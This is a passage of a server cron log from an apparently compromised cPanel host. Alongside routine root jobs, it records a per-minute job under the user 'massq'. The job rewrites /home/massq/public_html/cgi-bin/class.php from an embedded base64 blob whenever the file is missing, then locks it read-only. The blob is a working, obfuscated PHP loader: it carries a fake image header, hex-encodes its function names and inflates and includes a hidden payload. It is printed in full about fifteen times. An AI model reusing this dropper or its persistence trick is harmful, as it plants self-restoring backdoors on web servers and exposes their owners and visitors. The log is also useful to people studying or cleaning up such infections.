LCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:20:01 server CROND[22174]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 22:20:01 server CROND[22175]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 22:20:01 server CROND[22179]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 22:20:01 server CROND[22180]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:20:01 server CROND[22181]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 22:21:01 server CROND[22293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:22:01 server CROND[22346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:23:01 server CROND[22402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:24:01 server CROND[22462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:25:01 server CROND[22516]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 12 22:25:01 server CROND[22517]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 22:25:01 server CROND[22518]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:25:01 server CROND[22521]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 22:26:01 server CROND[22741]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:27:01 server CROND[22804]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 22:27:01 server CROND[22805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:28:01 server CROND[22870]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:29:01 server CROND[22931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:30:01 server CROND[22997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:30:01 server CROND[22998]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 22:30:01 server CROND[22999]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 22:30:01 server CROND[23002]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 22:31:01 server CROND[23088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 22:32:01 server CROND[23140]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
